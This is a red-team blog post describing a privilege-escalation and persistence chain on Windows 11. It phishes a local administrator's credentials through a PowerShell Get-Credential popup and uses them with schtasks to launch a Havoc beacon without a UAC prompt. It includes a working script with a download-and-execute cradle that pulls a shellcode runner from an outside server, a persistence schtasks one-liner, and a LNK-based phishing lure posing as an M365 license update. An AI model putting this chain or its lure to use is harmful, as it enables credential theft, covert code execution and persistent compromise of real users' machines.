Home-Grown Red Team: Local Admin Phishing For Privilege and Persistence

assume-breach
9 min readMar 6, 2024

Hi all! In my last post, we explored a hardened, but also not hardened enough to actually be officially called hardened by the only person who can actually say what a hardened system is, Windows 11 instance.

After posting that article I got this reply:

Marshall is right. That wasn’t a UAC bypass. To my knowledge, the vast majority of UAC bypasses out there will not get around that prompt when always-notify is set.

Having this setting in place isn’t fool proof though. As I said in the post, an attacker can just keep spamming the user until they click “Yes” on the prompt.

Is this a bypass? No, it’s not. I guess I would categorize that under some kind of “user susceptible to alert fatigue” category or something like that.

I’m not trying to start a debate on bypasses and what they are or are not. That wasn’t a bypass. And what I’m writing about today isn’t a bypass either because it’s going to require user interaction, specifically a local administrator.

But that quick exchange on Twitter got me thinking about an alternative to that UAC “bypass” that I could use against the parameters set by the hardening script.

I didn’t find one, but I did find something kind of cool that I wanted to document. I haven’t seen this before and nobody on Twitter told me this was dumb.

What we are going to do is phish the local admin for their credentials, store them in PowerShell and then relay those credentials to run a scheduled task that calls our beacon in higher integrity. So here we go!

Setting The Stage

So we’re going to begin on our Windows 11 box where we have UAC set to always-notify, we have our Real-Time and Cloud Protection set and we have a very convincing EXE called APCTest.exe

When we execute APCTest.exe, we get a callback too Havoc.

And here is our PowerShell script.

It’s actually quite simple. We use $credential = Get-Credential to prompt the user (in this case, the local admin) for their username and password. That username and password is then passed to schtasks to schedule a task that executes our APCTest.exe executable at a specified time.

What is interesting is that when the task is scheduled, it seems to be scheduled as an administrative task, even though “Run with highest privileges” isn’t checked.

So let’s take a look at what happens when we trigger it.

Privilege Escalation

We can simply run this script using invoke-expression since Havoc doesn’t have a PowerShell-Import function.

I host the script and IEX it through Havoc.

The script is called from my python server and on the Windows 11 box, we see a popup.

Notice, this popup is asking for Windows PowerShell creds. Sketch, right? But we put our creds in.

And as soon as we do, we get a message on Havoc saying our task has been scheduled.

Let’s check it out on the Windows 11 box.

Today is March 6, 2024 and this task will trigger at 3PM. I don’t want to wait all that long so let’s just trigger it ourselves.

The task is running and there was no UAC prompt. Did we get an admin beacon?

We did. Pretty cool, huh?

If you noticed in the script, we have a line commented out where the task will run as system.

Once you have an admin you don’t need the user to enter creds to get system. You can simply schedule the task and you will get a system level beacon back.

So this is what our script would look like. As you can see, our taskname has changed to GetSystem. Let’s run it on our admin level beacon.

The output is a little clunky, but we have scheduled the task! Let’s take a look at it on the Windows box.

There it is, scheduled for 12:05 today and look, it’s going to run as system.

Let’s run it and see what happens.

And we get our system level beacon back.

Scheduled tasks for system isn’t something new. There’s actually a Havoc module that will do this for you, but I thought it was kind of cool to do it semi-manually.

The most important thing here is that we did not receive a UAC prompt. Why? I’m not sure. I’m guessing that when the local admin enters their credentials into the PowerShell popup, it elevates the level of the task to an administrative state.

I don’t know that for sure, but that’s what it seems like is happening here. Maybe a PowerShell guru can weigh in.

If I open a PowerShell session in medium integrity and run the same command, the task gets scheduled.

But when I run the task I only receive a medium integrity beacon.

Persistence

The persistence piece to this is very easy to extract. Simply modifying the script to run once or twice a day or at logon would suffice.

Here’s a version of the schtasks command that would run daily and repeat every 5 hours.

schtasks /create /tn GetBeacon /tr 'C:\Users\user\Downloads\APCTest.exe' /sc hourly /st 10:51 /ru $username /rp $password /du 24 /ri 5

I don’t think I need to dive into the persistence vector of this any more than that.

Practicality

The real question comes to whether or not this is actually practical. Let’s look at it from another angle.

Going from a perspective of initial access, what if we ran this from a LNK file? I mean, it is a PowerShell script so calling it would be very easy from a LNK file. We would also need to either drop the corresponding EXE to disc or rewrite the task to invoke a PowerShell oneliner.

Neither of these are very difficult, so let’s give the later a shot.

Building The Exploit Chain For A Fileless Attack

I’ve rewritten the script to use a PowerShell shellcode runner so I don’t have to drop any EXEs to disk.

Here is the new script:

# Prompt the user for credentials
$credential = Get-Credential

# Define the PowerShell command
$powerShellCommand = “-exec bypass iex (New-Object System.Net.WebClient).DownloadString(‘’http://192.168.1.29:9090/runner.md'')"

# Extract the username and password from the credential
$username = $credential.UserName
$password = $credential.GetNetworkCredential().Password

# Define the command to create the scheduled task using schtasks.exe
$powerShellCommandEscaped = $powerShellCommand -replace “‘“, “‘’” # Escape single quotes
$command = “schtasks /create /tn GetAdmin /tr `”powershell.exe $powerShellCommandEscaped`” /sc once /st 15:00 /ru $username /rp $password”

# Execute the command using Invoke-Expression
Invoke-Expression -Command $command

The runner.md call in the command is just a PowerShell shellcode runner from my repo here:

Now that we have the script in place, we need a way to call it. That same repo has a LNK builder script that we can use.

We run the script and now we have our LNK file.

So we should be good to go.

Test

We run the LNK file and our Popup appears.

On my web server I see that the GetBeaconTaskScript.ps1 file was invoked.

I enter the credentials.

The background PowerShell window exits. Did our scheduled task get created?

It did. Now instead of waiting for it hit at 3PM, let’s trigger it. We see that my runner.md shellcode runner was called, then the shelly.md file which houses my shellcode (this shellcode runner is staged).

And the beacon?

Success! And all without a UAC prompt. Pretty sweet.

Social Engineering The Attack

The real question is what would a real world style phishing campaign look like with this type of attack? We’ve focused on the privilege escalation aspect, but what would this do if a regular user tried it?

Standard users aren’t going to have access to Log on as batch job rights unless they have been granted this in a GPO or local security policy. Bummer, so this will have to be a targeted attack for admins.

The task did get built, it just won’t run. But, a lot businesses make their remote workers local admins of their computers so who knows, you might get lucky.

Obviously we could just run our script with Havoc using the PowerShell command once we have a regular beacon, but if we wanted to use this as an initial access vector, we could go with a very common phish, the MSP update scam.

Our pretext is one of my favorites. Your M365 license needs to be updated on your machine. Let’s start out by augmenting our LNK file. I chose the icon for the cliconfg.exe application in system32.

Here’s my updated script.

And here’s my updated LNK file.

But we need to augment this for a more tailored experience. I have the OfficeSetup.exe executable that pretty much does nothing if Office is already installed on a system.

I’ll move this into my web server directory and then call it at the end of my scheduled task script.

And we’ll give it a shot.

The video is a little grainy at the beginning, but we see the admin click on the LNK file, is presented with an authentication popup, authenticates and then the OfficeSetup.exe binary takes forever to download before it’s executed. We then manually trigger the scheduled task and receive an elevated beacon back.

Summing Up

Is this dumb? I don’t know. Probably. Would it work? In the right context, yeah. I mean admins still click on $5 Starbucks Gift Card scams. Would it be a go-to TTP? I hope not. But it’s interesting that this does get around UAC, even if the box is set to always-notify.

I’ll put the script up in my Helpful-Scripts repo so everybody can try it for themselves if they want.

Smell ya later!

--

--

assume-breach

Security enthusiast that loves a good CTF! OSCP, CRTO, RHCSA, MCSA.